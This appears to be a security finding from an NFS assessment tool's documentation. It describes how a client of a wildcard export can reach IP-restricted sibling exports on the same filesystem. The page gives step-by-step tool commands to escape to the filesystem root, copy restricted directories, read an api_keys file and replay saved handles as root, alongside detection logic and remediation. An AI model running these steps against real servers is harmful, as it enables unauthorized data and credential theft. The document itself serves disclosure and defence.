Skip to content

F-2.8: Sibling Export Lateral Access (Cross-Export Handle Reuse)

Classification

  • Severity: Critical
  • CVSS Vector: Network / Low Complexity / Requires Access to Any Sibling Export
  • Affected Versions: NFSv2, NFSv3
  • RFC Reference: RFC 1813 §3.3.3, RFC 2623 §2.6
  • Prerequisite: Access to any export on the same filesystem as the target; no_subtree_check on the target (Linux default)

Summary

When two NFS exports reside on the same underlying filesystem and subtree_check is disabled (the default on Linux), a client authorized for export A can navigate to the directory backing export B using a root-inode escape handle or a LOOKUP traversal. The NFS daemon does not verify that the file handle points to an inode within the originally mounted export's subtree.

This differs from F-2.1 (export escape to filesystem root) in that the attacker does not need to construct a synthetic handle -- they can reach the target via standard LOOKUP operations from the escaped filesystem root.

Technical detail

Common configuration

# Same physical disk (/dev/sda1) mounted at /srv/nfs
/srv/nfs/public      *(rw,no_root_squash,no_subtree_check)
/srv/nfs/restricted  10.0.0.50(rw,root_squash,no_subtree_check)
/srv/nfs/secrets     10.0.0.50(rw,root_squash,no_subtree_check)

All three exports share fsid (same block device). The attacker can mount /srv/nfs/public (wildcard ACL), escape to the filesystem root (F-2.1), then cd /srv/nfs/restricted and cd /srv/nfs/secrets.

Why this works

  1. no_subtree_check (the default) means the kernel does NOT verify that a handle's inode is within the export's directory tree
  2. escape-root constructs a handle for inode 2 (ext4) or inode 128 (XFS) -- the filesystem root
  3. From the filesystem root, standard LOOKUP operations (cd /srv/nfs/restricted) produce valid handles for any directory on the filesystem
  4. The kernel resolves these handles via exportfs_decode_fh() which only checks inode validity, not export membership

Attack flow

                         mount /srv/nfs/public (wildcard, allowed)
                                    |
                              escape-root (F-2.1)
                                    |
                         filesystem root (inode 2)
                                    |
                    +---------------+----------------+
                    |               |                |
              /srv/nfs/public  /srv/nfs/restricted  /srv/nfs/secrets
              (already have)   (IP-restricted)      (IP-restricted)
                                    |
                              ls, cat, get -r
                              (full access)

Versus direct handle construction

F-2.1's escape constructs a synthetic handle for the root inode. This finding documents the subsequent lateral movement -- using standard NFS LOOKUP operations (not handle construction) to reach peer directories. The distinction matters operationally:

  • F-2.1: Requires understanding of handle format (ext4/XFS/BTRFS inode encoding)
  • F-2.8: Once at the filesystem root, uses only standard directory traversal
  • No handle engineering needed for the lateral movement step

Impact on "separate export" security models

Administrators often assume that placing sensitive data in a separate export with IP restrictions provides isolation. This assumption fails whenever:

  1. The restricted export shares a physical filesystem with any wildcard export
  2. subtree_check is not enabled (disabled by default due to performance and stale-handle concerns)
  3. The attacker can mount any sibling export

Exploitation

# 1. Mount any wildcard export on the same filesystem
nfswolf shell target:/srv/nfs/public --uid 0

# 2. Escape to filesystem root
nfs> escape-root
[+] escaped to filesystem root (Ext4)

# 3. Navigate to restricted export's directory
nfs> cd /srv/nfs/restricted
nfs> ls
data.txt  etc/  credentials/

# 4. Exfiltrate
nfs> get -r . /tmp/restricted-dump/

# 5. Navigate to other restricted exports too
nfs> cd /srv/nfs/secrets
nfs> cat api_keys.txt

With handle persistence for later access

# Save the handle for the restricted directory
nfs> handle
0100070116002a00000000000841e517...

# Use it later from any IP, no escape needed:
nfswolf shell target --handle 0100070116002a00... --uid 0

Detection (nfswolf)

The analyzer should: 1. Group exports by fsid (same underlying filesystem) 2. If any export in a fsid group has wildcard ACL (*) and any other has IP restrictions: - Flag as "sibling export lateral access possible" - Severity: Critical if the wildcard export has no_subtree_check (default) - Severity: High if subtree_check is enabled (escape may still work via handle construction) 3. Report the specific restricted exports reachable from each wildcard export

Remediation

  1. Separate filesystems per trust boundary:

    # /dev/sda1 -> /srv/nfs/public     (wildcard OK)
    # /dev/sdb1 -> /srv/nfs/restricted  (IP-restricted, different fsid)
    

  2. Enable subtree_check on all restricted exports:

    /srv/nfs/restricted  10.0.0.50(rw,subtree_check)
    
    Trade-off: performance penalty, potential NFS3ERR_STALE on renamed files

  3. Use bind mounts from separate filesystems:

    # Even if mounted under the same tree, different devices = different fsid
    mount --bind /secure-vol/restricted /srv/nfs/restricted
    

  4. Use Kerberos -- makes the bearer-token property irrelevant

  5. Audit export groupings -- any shared-filesystem exports with mixed ACLs are vulnerable:

    # Check which exports share a device
    exportfs -v | awk '{print $1}' | while read exp; do
        stat -f -c "%i %n" "$exp"
    done | sort -n | uniq -D -w8
    

Relationship to other findings

  • Builds on: F-2.1 (escape provides the filesystem root handle)
  • Root cause: F-2.7 (nfsd ACL blindness -- no per-operation export membership check)
  • Amplified by: F-7.1 (wildcard exports provide the initial foothold)
  • Persists via: F-2.5 (handles from lateral movement survive ACL changes)
  • Obtainable via: F-3.6 (if no sibling exists, spoof UDP MOUNT to get the restricted handle directly)